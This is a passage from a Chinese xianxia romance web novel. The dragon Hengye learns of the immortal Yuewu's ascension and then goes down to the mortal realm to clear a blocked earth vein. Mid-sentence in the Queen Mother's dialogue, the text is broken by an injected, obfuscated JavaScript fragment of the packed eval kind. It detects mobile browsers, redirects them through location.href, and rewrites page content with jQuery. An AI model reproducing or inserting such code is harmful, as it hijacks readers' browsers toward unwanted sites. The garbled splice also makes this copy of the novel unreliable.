西王母觉得好笑:“我多少岁,你多少岁?事非经历不知难。偏要你尝尽心酸苦涩才好,让你摔个大跟头,才知道收敛傲性,坚定道心。” 珩夜忽而好奇:“月芜多少岁?” 这个问题把西王母问住了:“我想想……大约六千岁?” “……”比他也大不了多少——珩夜偏要这么想,他又问,“六千岁,以他的资质,为何还只是天仙?” “哪有那么容易,你以为是你,生来就是真仙?我活了数万年不还是灵仙,也没见更进一步,”西王母哂笑,“就算月芜不是真仙——你可知他飞升那日,是何等的惊才绝艳?” 珩夜眼睛亮起,眨也不眨地等着她说。 西王母指尖慵懒一点,瑶池上的水汽化作五彩祥云,自下而上织绘出那道清俊身影。 西王母回忆道:“月芜一经飞升,天音冥冥,鸾鹤缭绕,一柄剑自丰沮玉门而出,径直认他做主!” 瑶池上空,云雾飞结,化身群鸟翔集;绿叶飒飒,变作辽远的钟磬声声。 天地间光华凝聚一体,照耀在一人身上。 一道剑影自三清境之上、日月所出之地飞来,遽然停在人影面前,宝光奕奕。 珩夜认出那剑:“霜骸?” 西王母点了点头:“还不止——他握住剑后静默而立,倏然顿悟,日月同现,引动天地之炁,境界从高仙一路攀升,越过玄仙、太仙、上仙,直入天仙!” 她说话的同时,云彩织就的月芜握住那剑,仙器认主,妙法绽放,光芒劈裂昏晓,天边昼夜各半,日月同出,天地之炁席卷如龙,啸叫着尽皆冲进那道单薄的身影。 西王母啧啧称奇:“此事从未有过,我数万年只见过这么一次,至今记忆犹新。” 那劈裂昏晓的幻象令人震撼到无以复加。 弘岘张着嘴,掌中的灵瓜子掉了一地。两侧的金猫黑豹早已化回原形,伏低了前肢。那一蓬桃树仙灵纷纷藏进西王母的头发里,只敢在发丝间偷看——奉言不知不觉站直了身子。八百年了,他还是第一次见到掌教握剑之前的样子。 珩夜久久凝望着那道身影,直到祥云缓缓散去,复铺作瑶池上氤氲的彩雾。 珩夜喉结滚动,他真想,穿越幻象,切实地去看一眼,那时的他。 “……得之容易,破境便难。难易相生,是亘古的道理,”西王母悠然一叹,拂袖盖在脸上,“如他,如你,如我们这些生来便是大罗金仙的天地异兽。历经磨难,方能得证大道。” “……”良久,珩夜才从那意境中归来,问道,“他是什么时候当的天刑司掌教?” 西王母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597645|205593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撩开袖片想了想:“头两千年,我记得……他好像是在北俱芦洲除魔来着,但听说他与金翊伏魔太子关系不大好。后来,上一任天刑司掌教羽化于天地,东华便推举他坐上那位置。” “金翊伏魔太子?”珩夜一愣,“发生了什么?” “不知,东华是这么和我说的,”西王母忽而想到,“说来,伏魔太子也是天帝的儿子。” 珩夜哼哼:“我看天帝的儿子都不怎么样。” 西王母挑眉笑他:“这就开始护短了?” “……实话实说而已。月芜后来可是天刑司掌教,和他关系不好,能是什么好人?”珩夜支着脑袋,转而问,“东华帝君很了解月芜?” 西王母没理会,只赞道:“月芜确实是我所见,天刑司最为尽职的一任掌教。以他天仙的资质坐在这位置上,一开始很多人不服。” 西王母感慨:“但他对自己实在严苛,数千年不曾行差踏错半步。待人疏离,鲜少参加宴席,从无因私废公的可能。听斗姆说,他闲时练剑,此外没有别的爱好。这样公正自律的仙人,连我也要佩服。久而久之,便没有不服他的了。” 珩夜沉默了,怀中月芜写给他的脉案勘合微微发热,他的心跳也重新热烈起来。 西王母瞥他一眼:“想来他的道本就艰难,对心性和悟性的要求极高,这样的人一旦通悟便是越阶破境,正如他的飞升——你也是个有福的,竟真被你牵住他的姻缘。而你竟然还在这里思考什么喜不喜,照我说早点把他哄到手,叼回你的龙宫才是正经。” 西王母的豹尾不耐烦地抽在珩夜肩头。 珩夜默然片刻,看着那根悠长直飘天际的红线,起身道:“我不——我偏要他心甘情愿。” 珩夜朝她拱手:“我要下界去做事,还请阿母给我备一些丹药。” 西王母斥道:“就知道来麻烦我?怎么不去找你的月芜?” 珩夜想到什么,抿不住唇角的笑意,腰也挺直了:“这就是月芜嘱咐我的。他还将自己唯一的仙使借给我用了。枣糕给您吃,其他事阿母吩咐仙使就是,我回去给他找别的礼物。” 西王母瞪眼瞧着他脚步轻快地乘云离去,金猫和黑豹都化形靠过来,蹭在她身边安抚:“阿母何故生气?” 西王母抚摸大猫们的皮毛,笑骂道:“真是个孽障!养了这么多年,没骗来月芜不说,把自己倒贴出去了!真叫人没眼看!” 回头还是认命地给他备好用品。 珩夜在他龙宫的宝山中翻找,觉得这个也不行,那个也配不上。 那条红线荡漾着飘在水中,他知道月芜能看见,但他偏不变回去。 月芜不主动把红线变回去,他就不变。 就让月芜知道自己在想他、想见他好了。凭什么只有他一个人惴惴不安呢。 红线显化的范围有限,飘然浮去,逐渐化作一道看不见的轻光。 在珩夜看不见的那头,缭绕着,显化攀缠在月芜手腕上。 这一次,月芜心中并未有太大波动,他只是静静凝视着那根线。 他在等,等它消失,重新变回戒指。 但看来那小龙离开时是气狠了,偏要用红线告知他的忿忿。 红线始终没有变回去——直到第二天珩夜下界。 月芜看向指间的戒指,心中纷乱,起身飞往那个只有他能进入的秘地,去那里练剑。 他想起斗姆元君问“你是怎么想的”那日,他说“不知”。 如今他仍旧不知……也有可能是他装作不知。 又或者,他正介于“知”或“不知”之间。 他分辨不清,他在等什么,他为什么要等。 他分辨不清,自己到底是何心意,摇摆不定。 这忽上忽下的起伏,像是溺水一般,时而惘然、时而清醒。 他习惯了一个人。不解之时,就去练剑。 练到天地寂静,他的心是否便会像从前那样,安静到寂然无声? 16. 入凡尘 南赡部洲,七仙湖畔。 细雨绵绵,青山朦胧,一湖碧水映照着灰碧色的天。 景虽美,天地间的气息却混沌不堪,让人胸口发闷。 珩夜非常不适,好像从清澈水天坠落到泥淖沼泽,每一步都沉甸甸的,泥泞不已。 弘岘侍从打扮,背着箱箧,止不住地喘息。他的感觉越发明显。之前飞升进入仙界,根本察觉不到仙界和凡间的区别,从仙界再入凡间才发现,原来凡间竟然这样……污浊。让他喘不过气来。 奉言做书生扮相,迅速取出三枚灵丹分发:“将灵丹压在舌下,可以缓解不适。” 珩夜摆手:“你们用,我还好。” 弘岘接过灵丹含在口中,奉言却在犹豫,渊侯都不用,他一介小仙如何使得。 弘岘为珩夜撑伞,一边劝奉言:“前辈也用吧,我们不如渊侯厉害,你和他客气什么。兜里的灵丹比湖滩上的沙子还多,用了才不算浪费。” “……你说的是,不能拖渊侯后腿。”奉言点点头,便将灵丹用了。 那厢珩夜眉头微蹙,看什么都有些好奇。 脚底踩着黄泥,他一撇嘴。仰头觑了觑那雨水,看清其中尽是尘霾杂质,他一撇嘴。身旁一棵柳树,他抚过一条枝叶,在鼻尖闻了闻,还是一撇嘴,嫌弃地将手中枝叶甩开。 奉言劝他将红线收起,不让下界凡人看出端倪,他依言听了,一时间手上空落落的。 可是,此处一个人也没有—— 珩夜拧眉道:“不是说水官在这里接应我们?她人呢?” 弘岘取出传信玉牌,但无论他如何催动,玉牌都没有响应。 奉言道:“玉牌没坏,水官大约是为难我们。不过这是正事,想来只是赌气,就在附近。” 珩夜啧一声:“那往前走走吧。” 一行三人顺着水岸行走,从山脚下走到水湾处,没见着乌纱红袍的榜眼。 玉牌一直没有反应,奉言也有些着急了:“这……怎么办?” 弘岘忽然指向远处:“是不是那个人?” 遥指水边一蓬小船,上面有个穿着潦草蓑衣的人,身形瘦小,翘着脚枕臂而眠,斗笠盖在脸上,看不清男女。 “不像是……”奉言犹疑,“没有仙人的气息,那是个渔童。” 弘岘想了想:“不对,你瞧他,旁边支着竹竿和鱼篓,自己却在睡觉,哪有人这样钓鱼的。何况山野之间多精怪怨灵,怎会有渔童敢自己来钓鱼?” “多半就是水官了,她擅长藏匿气息,”珩夜挑眉道,“上前一问便知。” 三人走近,那渔童一动不动,甚至能听见他平稳酣睡的声音。 弘岘上前唤道:“小友,小友,你醒醒。” 他推了推渔童,那斗笠一撇,露出张还算白净的脸,揉了揉眼睛鼻子,没好气地问:“你谁啊!” 勉强能看出是个女孩子,弘岘立时收回手:“我叫弘岘。你又是谁,为何独自在这钓鱼?” “弘岘?”渔女微愣,极短暂地睁眼看了弘岘一眼,随即闭眼躺倒回去,“什么弘岘,没听说过!” 那边珩夜已经看穿,呵笑一声,突然一道黑影如鞭,抽了过去。 奉言来不及阻止,弘岘还在发愣,渔女被他抽进水里—— 一阵气泡咕嘟,渔女,哦不,水官从水下冲出来吐掉一口湖水,怒喝道:“珩夜!你这臭小子!竟敢用尾巴打我!” 水雾更浓,鱼竿飞起落进水官手中一挥,鱼线飞裹住弘岘和奉言将他们扔到一边。 鱼篓同时飞起涨大如覆天之斗,兜头将珩夜罩了进去,旋即变作正常大小的鱼篓,落进水官手中。 “管你是蛟是龙是万鳞之长,”水官呲牙一笑,大拇指竖给自己,“只要水里游的,都归我管!” 奉言急急喊道:“水官真仙,这可不行啊!渊侯是下界来修复地脉的!” “对对对,你是个识趣的!在下界我就是真仙!你们都得叫我真仙!”水官笑嘻嘻一脸天真,“关他半天再放出来就是,谁让他欺负我了!” 只是不等她再骄傲几句,她手中的鱼篓内像有异物冲撞,将鱼篓顶得左突右出,又忽而从中烧起烈烈阳火,将鱼篓烧了个通红。 “啊!烫烫烫!”水官立时脱手,两只手交替捏着自己的耳垂,不住地吹气。 鱼篓落入水中不见,硕大的旋涡在水中显现,将湖水全部搅纳,光线尽聚于湖中,一时天地昏沉,一双暗金色的龙瞳自湖底睁开,那龙一张嘴—— 破天一道霹雳自水中劈出,将水官骇了一大跳,逃到湖边船上。 天上风云汇聚,和风细雨隐隐作滂沱之势。 水官连忙喊道:“好嘛好嘛!我输了!你是万鳞之长,是我太爷爷,我再不惹你了,这总行了吧!快收了仙法,不然我去月芜面前告你扰乱时令之罪!” 天上的和湖里的动静这才平息。 仍旧是青山朦胧,细雨绵绵,一湖碧水。 一道风将奉言、弘岘扶起,又洗净他们身上的泥污。 水官掸去蓑衣上的泥点,小声嘀咕:“五行之子,风雨雷霆之主,呸,有什么了不起。还是蜃最厉害。我要告给天官和月芜去!” 珩夜高大挺拔的身影出现水边,紫金冠束顶,眼神向下一瞥,落在瘦小的水官身上。 水官吓得一抖。 珩夜懒得多言:“不是说七仙湖的地脉滞涩要打通么,具体方位,还请水官带路。” “算你有能耐,”水官撇撇嘴,鱼篓挂回腰间,鱼竿扛在肩上,大摇大摆地往前去,豪迈挥手道,“跟我走!” 转眼,她又回头哼一声,冲珩夜凶巴巴做了个鬼脸。 珩夜没理会她,只低头看了看手上那枚戒指,微微将其攥住。也不知月芜在天庭,此刻在做什么。 弘岘朝珩夜、奉言眨眨眼,小跑几步追上水官问:“水官真仙,我们这是去哪儿?” 水官很满意这个称号,转头打量他:“你就是弘岘呀。要不是听见你名字,我刚刚也不会暴露了。听说你积善飞升?真是厉害!” 弘岘朝她拱拱手:“真仙抬爱了,我就是个小仙。” 水官瞪圆了眼睛:“别乱说啊!我爱的可不是你!” “哎!我不是这意思,”弘岘憨憨一挠头,“我是说我远没有真仙厉害!” “那是,小小玄仙,还能有我厉害吗!蜃大人第一厉害!”水官说着,回头冲珩夜挥了挥拳头。 “嘿嘿,”弘岘瞧着珩夜,摸了摸鼻子,吹捧水官道,“第一厉害的真仙大人,我们下界前,掌教叮嘱说,您的蜃息丹最能帮忙掩护行踪,还请真仙赏赐我们花用啊!” 水官被他吹捧得飘飘然,又不想给,回头盯一眼珩夜,发现珩夜半点不来和她说好话,最终撇撇嘴,还是掏出几个小瓶递给弘岘。 “省着点用啊,”水官叮嘱,又回头看珩夜一眼,小声嘀咕,“真是的,长那么好下凡来干嘛。” 弘岘不会袖里乾坤的术法,拿到蜃息丹便交给奉言。奉言朝他比了个大拇指,弘岘朝他笑笑。 “地脉淤塞的地方靠近凡人村落,所以你们不能直接降落那边。来凡间的规矩月芜和你们都讲过吧?”水官甩甩鱼竿,摇头晃脑地说,“总之,仙法能不用就不用,不能让凡人发现身份,更不能过多影响凡人的命运。” 奉言点头道:“小仙谨记真仙教诲。” 弘岘连忙跟上:“我也谨记。” 水官见珩夜不说话,她抠抠斗笠,走到珩夜身边说:“我可不是故意不接你们啊,我本来是在那儿的,等半天等得都睡着了,船顺水飘走,可不能怪我!我没接你,你打了我,咱俩平了。做事你还是得听我的,也不能乱走,走丢了我没法和月芜交代。” 珩夜目不斜视地嗯一声:“我敬重后土娘娘,你是娘娘任命的水官,我不会无故和你作对。” “……”水官沉默片刻,嘀嘀咕咕地自言自语,“一个二个的,都好会说人话。我怎么不太会。” 水官领着三人沿湖岸走了约半个时辰。越往前走,湖水的颜色越浑浊,从碧绿变成灰绿,最后在一处山崩的残骸前变成了泥浆色。一道塌了一半的山体斜插进湖中,碎石和断木堵住了水流,像一道大地的瘢痕。 三位小仙站在附近,其中一位碧色衣裙的女仙手里拿着吞吐雾气的葫芦,对着远处凡人村落的方向。 “水官大人回来了!”另两个小仙朝他们挥手。他们个子都不高,少年模样。 水官扬起下巴朝他们一点,算是打完招呼。 “到了,”水官站住,鱼竿往地上一顿,踢踢脚下的泥巴,“就是这儿。地脉滞涩的地方。” 珩夜低头看去。脚下的泥土干裂发白,裂缝深处没有一丝水汽。岸边的芦苇死了大半,剩下的也蔫黄着腰。空气中有一股极淡的腐味——不是尸腐,是地气死了之后,泥土本身散出来的那种腥冷。 碧水收起葫芦汇报道:“大人,我们已用蜃雾遮掩行踪,现在周边没有凡人,可以探查地脉。” “好,我来介绍一下,”水官利落道,“这是七仙湖的地值官碧水玄仙,还有两位探查地脉的钻地使,邱邱和隐隐。” 又指着珩夜说:“渊侯和他 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断口边缘的泥土正在死去。不是发黑发臭的死,是静悄悄地、一寸一寸变成沙砾的死。 水官看他越来越沉凝的神色,说:“挺吓人的,是吧?” 她拍拍手站起来:“南赡部洲现在处处都是这样。前一段通畅的地脉,都是我们一点一点理顺的。照理来说,前面通了,后面打结的也会松散才对,现在我也不知道是什么问题。” 珩夜收回手。指尖沾了些干裂的泥土,他盯着泥看了片刻:“能解开吗?” “要时间呗,也要人手,”水官看了看天色,跺脚喊一声,“烦死了!” 碧水温柔劝道:“大人别着急,慢慢通,总会理顺的。” 弘岘好奇地问:“地脉结住的是什么?石头和死树根吗?” “都不是,”一个钻地使少年说,“地脉被外力挤歪了,可能是怨气,几股绞在一起,打成了死结。” 奉言也忍不住问:“那要怎么办?” “这就像渔网缠住一样,不能拽,只能慢慢梳理。疏通地脉不是一两天的事,”水官竖起手指,“首先,我们得把整道坍塌的山体给挪走,让湖水重新流通起来。” “第二,”她竖起第二根手指,“清掉水里的淤泥,流到田里的不能是臭水。” “最后,盘活底下的土地,把烂的挖走硬的钻松,疏通、养护、等龙气重新流转,”水官数手指头,“怎么着也得要一个月吧!” 珩夜点头:“怎么做,你分工吧。” 见他配合,水官立时笑了,快速道:“碧水保持蜃雾,弘岘去村里探查下田里的情况,邱邱隐隐挖淤泥。” 她指着那道横倒的山体,冲珩夜笑:“咱俩力气大,咱俩搬山!” 奉言拱手问:“真仙,小仙奉言,小仙做什么?” 水官挠挠头:“你跟弘岘一起吧,我看他还背个箱子,好似不会术法。” 奉言点头道好。 安排完,她撸胳膊挽袖子就要大干一场,怀里的通信玉牌却亮起。 “哎呀,谁啊这时候打扰我!”水官不耐烦看一眼通信玉牌上的名字,立马笑开了花,冲玉牌那头喊道,“天官天官!” 玉牌传来天官带着笑意的声音:“我在天刑司。今日渊侯下界,你们汇合没有?” 珩夜原本搬山石去了,闻言侧目望来。 水官警惕地瞪他,生怕他要告状,一面不客气道:“见着了,我还能把他弄丢吗!” 天官问:“你们没打起来吧?” “哎呀,没有没有!”水官有些心虚,强作镇定,“我怎么会和小辈计较!小渊侯可听我话了!我俩好着呢!” 天官听她这语气,猜到他俩多半是打过了打完了,水官输了不肯认。 天官不说话,水官抓心挠肝,想出个话题来:“你怎么又在天刑司?” 正中下怀,天官笑了:“金母元君托我来问掌教一件事——” 天官微微停顿。 月芜与珩夜也一并僵住。 天官又笑了:“娘娘叫我来问,月芜不喜欢枣糕,喜欢吃什么口味?” “……”月芜无比确认,这人精是刻意替道侣报复,来看他二人笑话的。 珩夜抿住嘴唇,偏头不看水官了,只竖起耳朵。他看着眼前的枯山浊水,随手攥住旁边一把枯草。 水官哈哈大笑,看热闹不嫌事大:“月芜喜欢吃什么口味我不知道,说不定是龙耳朵的口味,毕竟渊侯的耳朵那——么红!” 17. 问枯草 水官狂妄的笑声实在可恨,她还要指着珩夜红透的耳朵尖大呼:"解气!解气!" 珩夜拔下枯草,飞针一样插到水官脚边,水官跳起躲过,立时冲玉牌假哭:“月芜!管管你的龙,他打我!” 天刑司中,天官霎时拧紧了眉。 月芜的笔尖也顿了一下,又是“你的”,怎么所有人都认定了。 珩夜气道:“胡说什么!根本没碰到你!” 水官立时反击:“你先前拿尾巴抽我了!” “你没有把我关进法器?”珩夜嗤笑,“又是谁刻意不来接应,自顾在水边睡觉?” 月芜下意识和天官对视一眼,又默默转回,他放下批阅公文的笔。 “我……”水官眼睛心虚地一转,立马理直气壮,“我那是困了!刚刚不还说扯平的嘛!你说话不算话!” 一旁的地值官和钻地使对水官这样见怪不怪。 奉言沉默着站到珩夜身边。 弘岘连忙拉住水官,劝道:“水官大人,咱们还是做正事要紧。您刚刚吩咐我去做什么来着——” 话未说完,被天官淡声打断:“楼小辰。” 水官一个激灵,嘴巴紧紧抿起来,嘟着:“唔?” 玉牌那头叹了一声,缓缓问她:“伤着没有?” 水官脸蛋顿时红扑扑的,她知道天官这是认真了,她踢踢地上的泥巴:“没有。我们闹着玩儿呢……都是皮糙肉厚的主,谁也没伤着谁。要不是你联系过来,我们都要一起去搬山了。” “嗯,我的错。”天官声音温和。 水官跑到一棵枯树底下,小声问:“你什么时候能来看我?我太忙了,上不去。” “一个月吧,一个月左右我就下界看你。你……”天官顿了顿,终究道,“你乖乖的,好么?” “好,”水官果然乖起来,哪怕天官看不见,她也点点头,转而欢快道,“你一定要来!尽快来!我等着你!” 天官再三应好,通信到此为止,水官又干劲满满,细瘦的胳膊一叉腰:“好!开始干活吧!” 珩夜瞧着她,神情有些复杂。 输了。他想。 他很羡慕。 羡慕天官对蜃温柔,问她有没有受伤,还说来看她。 龙什么也没有。 珩夜默默走到那截断裂的山体旁,将碎石扫去岸边。 奉言观察着走近几步,悄声道:“掌教必然是记挂您的,小仙就是证据。” 珩夜搬起一块巨石随手丢到滩涂上,月芜不会记挂他,只是觉得弘岘不够可靠,再给他添个可靠的人手罢了。 即便记挂,月芜也不会说出口,他什么也不说。 珩夜顿了顿,问:“月芜不喜欢吃糕点吗?” “掌教从不吃甜食,”奉言恭敬地补充,“掌教爱喝清淡的茶,例如天刑司的病春茶,用月华露冲泡,清苦清甜,又可提神,是掌教的最爱。” 奉言一面说着,一面帮珩夜搬山石,只是他发现,如果不用仙法,好些巨石完全无法撼动,在珩夜手里却轻如鸿毛。他只好打扫打扫碎石。 珩夜心道果然是自己送错了礼物,他请教:“三清境司春殿有一种茶很是清雅,名为瑶碧,你听说过没有?月芜喝吗?” “这……”奉言诚实道,“小仙听说过,这是蟠桃盛会时帝君们御用的茶品。小仙没有参加过盛会,但据小仙观察,掌教似乎不喝……” 珩夜好奇地看着他。 奉言道:“有一回跟随掌教拜谒东华帝君,帝君便喝这茶,但帝君见掌教来,换成了病春茶。” 那厢弘岘准备好东西,招呼奉言一起去村里。奉言向珩夜一礼,珩夜道:“你去吧。” 水官在一旁指挥邱邱和隐隐开挖淤泥,耳朵却一直竖着。 等两位仙使走远了,她嘿嘿凑过来:“你要给月芜送礼物?我都听见了!” 珩夜不想理她,指着最大的那块山体问:“这个也直接搬走?” “当然不行!”水官思维果然跳走,“这么大的东西,一眨眼不见了,你生怕凡人不知道天底下有神仙啊?”她神神秘秘地自信道,“咱们先把小点的山石清走,等弘岘回来,你听我的!” 待墨色渲染天际,将漫天灰碧驱逐,天空中散漫的乌云被风吹聚在一起。 淅淅沥沥的小雨渐渐地变大了。 “唉,天气又变了,”老人叹息一声,家中瓢盆已不够用来接屋顶漏下的雨水,目露哀愁,“不知道要下到什么时候。要是冲刷一整夜,地里的秧苗,恐怕又要烂根。” “您放心吧,”弘岘朝他笑笑,将桌椅搬到雨水滴不到的地方,“很快。” 冒着雨,踩过一路泥泞,奉言回到山上向水官汇报:“附近村民没有特别信奉的神明,只说山另一边报废的矿洞中不知是谁摆放了一尊太阴石像,因此村民们偶尔会拜一拜太阴星君。” 水官轻快地摆摆手:“那好办得很。” 她冲珩夜挤眉弄眼,而后,像一条鱼,哧溜钻入湖中,不见半点涟漪,还将一只细白的胳膊伸出来挥挥,又比做一个大拇指,竖给水下的自己。没一会儿,那手收入水中,奉言霎时睁大眼睛——天地间水官的气息完全消失了。 碧水玄仙重新拔开葫芦塞子,迷茫雾气徐徐吹吐,渐密的雨水也无法将其击散。 珩夜看了眼泼墨般的天空,伸手轻轻一捏,雨势骤然滂沱,如断落的珠帘噼里啪啦掉进七仙湖这片玉盘中。 风雨潇潇,雷声隐隐。 两个钻地使少年紧紧抱在一起,真龙的一缕气息,令他二人止不住地发抖。 湖面的水雾越发浓郁,朦胧间泛着微微变幻的紫色,又恍如乳白色的丝绸。 雾气将整座山、整片湖,将这一片天地,整个儿吞吃入腹。当然,也包括那座小小的村落。 老人家已经睡着了。 屋外风帘雨幕,屋瓦破漏处却不再漏水。一阵朦胧的光晕从弘岘怀中亮起。 他走出房门,站在小小的院落里,小心翼翼将渊侯交给他的夜明珠捧出,淡淡的光晕将村落囊括,风雨隔绝在外,村民们陷入沉沉美梦中。 七仙湖上的水雾忽而明晦变幻,珩夜不再拘束仙法,腾云而起,藏身漆黑天幕。 于是龙影穿云,一道霹雳自天而下,顿时地震山摇,堵塞湖水的山体瞬间崩碎。 老人梦中看见神迹,听见后土神祇指引,要村中青壮去搬挑神祇劈碎的山石,可保来年风调雨顺。村中人都做了同一个梦,醒来后面面相觑,拜伏于地,依言而行,祈求上天垂怜。 他们在梦中做梦,在梦中醒来,在梦中挑山,流年如梦,但不过一梦尔。 云散雨去,七仙湖上空终于落下星辰恬静的光辉。 水官从湖边冒出个脑袋,顶着一片枯黄的荷叶,笑嘻嘻说:“这下好了,他们都睡着了!咱们随便搬!” 弘岘捧着夜明珠自村中回来,感到震撼又神奇:“他们会睡多久?” “好些天呢!”水官自得道,“够咱们把山体清空的了。” 弘岘哇一声:“那他们不就知道天下有仙人了吗?” “不会呀,”水官笑嘻嘻的,“仙人只在他们梦里。待他们醒来,只会觉着搬山的是他们自己,待我们离开,梦就只是一场梦呀!” 弘岘流露真切的佩服:“这就是大人的实力……” 水官开心极了! 奉言奇道:“他们梦中挑山,要挑好几年吧?可醒来后只过了几天,不会有人怀疑吗?” “会呀会呀,可是人间不是有首诗,”水官皱眉思考,“什么怀什么听笛子,什么什么翻泥巴下棋——” 奉言道:“怀旧空吟闻笛赋,到乡翻似烂柯人。” “对对,哎呀,我人话学得不好,这句是天官教我的,可我记不住!”水官不太在意,“没事的,南赡部洲的凡人最是简单,他们只能活百年,能活下去,比什么都更重要。” 弘 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水官叉腰看着眼前的一切,放声大笑,欢快地唱起山歌来。 村民们不用再做梦了,他们和地脉一同复苏,在这个,平凡又难熬的春天。 珩夜懒散躺在湖底,龙与天地同炁,生灵们并不怕他,反倒爱依附着他。鱼虾贴在他起伏的背鳍下,有的钻在龙茂密的鬃毛中,或者帮他清理龙角上的微尘。 他在湖底静静的呼吸,这片地脉的龙气逐渐充盈。 细雨绵绵,青山朦胧,一湖碧水映照着灰碧色的天。 他盘了盘身下的泥地,干净的;又喷吐滚过几卷气泡,清透的;他听见水官吹奏柳叶的声音—— 不知是哪个年岁的曲调,古老悠长得很,他想学,水官不教他,说那是后土娘娘教给她一人的。 这方天地经过他的搬运、清理,经过他的呼吸而变得清透。 他有些喜欢人间了。 也越发想念月芜。 如果不是月芜的算计和点醒,或许他只是一条天上的龙,而现在,才算真正遨游天地间。 蓦然,珩夜感知到一股仙人的气息缓缓降落湖岸。 他摇动尾巴浮上水面,紧张地露出眼睛——随即有点失望。 “天官!”水官立时丢掉柳叶,欢快地奔进爱人的怀抱紧紧抱住,埋头在他胸膛猛猛蹭了两下。 她还是那身潦草的蓑衣和旧旧的斗笠,手上脏兮兮的也不管,擦在天官的红袍上。 “你终于来了!”水官快哭了,吸吸鼻子说,“我好想你!” 天官笑着,轻柔擦净她的小脸捧在掌心,点点她的鼻尖。 水官嘿嘿,笑得甜蜜又傻气,手往他脖子上一挂,踮脚“啵”一下亲在他嘴唇。 珩夜始终看着,但其实并不知他们在做什么。 她亲完,跑到水面上瞪他:“你这龙,看看得了,别一直看!” “哦,”修复地脉后,他俩的关系比之前好很多,于是珩夜直接问,“你们嘴对嘴是在干什么?” “嘴对嘴还能干什么,”水官瞪大了眼睛,“当然是亲嘴啊!你不会想和月芜亲嘴吗!” 珩夜想起月芜嘴唇的形状,顿了顿说:“……会。” “那不就得了,”水官笑嘻嘻的,“可好玩儿了!” 她古怪地朝他眨眼睛:“天官愿意给我亲,月芜那样的肯定不愿意给你亲!哈哈哈!你真可怜!” 迎接她的是龙尾甩来的一片湖水,把她浇了个透。 一瞬间的怒气把附在他身边的游鱼小虾统统吓跑! 但水官没有半点不开心,反而叉腰大笑,她得意坏了!扭头冲向天官,拉住他的手就跑:“快走快走!我又把龙气死了!” 龙不太生气,只是羞恼和羡慕而已。 水面上重新露出一双暗金色的眼睛,静静望着天,遥遥是仙界的方向。 18. 学依偎 他们修复地脉,因着都是不沾凡尘的仙人,领头的水官和珩夜更是粗疏不羁的仙灵,所以直接幕天席地,随便一处就能坐卧休息。 奉言却不允许自己将渊侯照顾成这样,于是在湖滩边盖了两间茅草屋,做了床和桌凳,装上油布和帘幕,篱笆扎出半圈小院,还栽种了一些野花。 他正在给花浇水,远远看见水官拽着天官一路跑来。 水官朝他一笑,转身眉眼亮晶晶地盯着天官:“你帮我刷鳞甲吗?” 天官笑说:“哪次不刷?” 奉言便觉得自己待不下去了,恭敬行礼,低头道:“小仙去村子里找弘岘。” 水官难得有些不好意思,忸怩道:“那你快去吧。” 奉言洒水壶都忘记收起,一路跑向村落。过石桥时才察觉手上有个累赘,又无法用袖里乾坤,便放在桥头树下。 打听了弘岘的去处,奉言轻车熟路地找到他。 他们在湖边盖了两间茅屋,对外宣称是叶员外的钓鱼闲居,弘岘是侍从,奉言是管家。村中老翁还记得弘岘,但他因着梦的缘故,以为上一次看见弘岘是三年前。弘岘只点头说对,说他三年前是为员外来采风探点的。 村民们原本排斥,但弘岘实在会来事,帮村里修补屋顶,还和奉言学了一手,能顶半个木匠。七仙村从梦中醒来不过两天,弘岘进出七仙村已经和自己人一样,时不时还带回一些村民送的瓜果菜蛋。 水官再跳脱,也不喜欢吃凡间的食物,弘岘却是来者不拒,下界以来他学得最好的仙术是去尘诀,吃完凡物,再用法诀将杂质排出体外。 今天弘岘去的那户人家很偏,奉言穿过村子又绕过一片树林才到。远远听见弘岘与村民交谈: “放心,我在外行走的时候见多了,这种病不会传染。千万注意不要担惊受怕,做了噩梦醒来立马喝符水,不惊悸噩梦就能长久地活,活到六七十的我都见过!” 不知村民说了什么。 弘岘道:“对啊!这符水就是仙术,千万按我这个方子来!” 奉言一阵皱眉,立时推开院门快步走入,十分严肃地审视:“弘岘,你在做什么?” 床上一形容灰败的枯槁青年,弘岘端着符水坐在床头正喂他喝。 弘岘挠挠头:“奉言大哥。” 奉言三步做两步探了一指那符水,严肃的神情一怔——没有法术痕迹。 他又看那青年,病人从脖颈到侧脸,长着大片大片的灰色皮屑,如附骨之疽,裂纹纵横,像鳞片,被抓挠了好几道,正在流脓血,有一股腐臭味。 病人见奉言愣神,立马用被子把自己盖起来,不住地发抖。 奉言问:“这是怎么回事?” “哦,没事的。他得了蛇矿病,”弘岘将符水放到一边,“我从前见过这种病,病人越是惊悸噩梦,发病越快,直到把自己吓死。只要心中放松,不把这病当一回事,这病就不会继续发展。” 奉言指那符水:“这又是什么?” 弘岘心虚道:“心病还需心药医啊。” 他瞧瞧守在病床边的老妪,拍抚她枯树般的手,劝说道:“我这是和海外道士学的仙方,你们放心,喝下准保有用!” 老妪有些害怕奉言,往弘岘那躲了躲,不住地点头:“好,我一定让我孙子喝下,你家管家来找你,你快走吧,不要因我们耽误了事。” 弘岘朝她笑笑,告别老妪和青年,他跟奉言穿过那片树林时才开口:“我没用法术。” “我知道,是我一时情急,错怪你了,”奉言拧眉道,“蛇矿病,我从未听说。” 弘岘习以为常:“之前我带流民逃亡的时候见过,得这种病的人不多,但病人来自什么地方的都有,大部分是采矿的劳役,又因为这病长在皮肤上像蛇蜕一样,就叫做蛇矿病了。” “没有治疗的办法吗?”奉言问。 弘岘叹道:“这病无法根治,就算把皮挖掉,还是会从血肉里长出来。不过这病不会传染,而且有的人能活,在我那时候就不太重视,可怕的还是会传染的疫病。蛇矿病,只要你心里不怕,一点事都没有,但若是心中害怕,越害怕死得便越快。” 奉言想了想:“……好阴毒的病症。” 任谁得了一种无法治疗又外表可怖的病,能真正做到不怕呢。 “不说这个了,”弘岘想到从前心里就不舒服,他转换心情问,“你怎么来找我,是山上有什么事吗?” “不是,”奉言低声道,“天官来了,我再待在茅屋不太方便。” “噢,这样,那正好,我还要去一家村民修桌子,要不一起?” 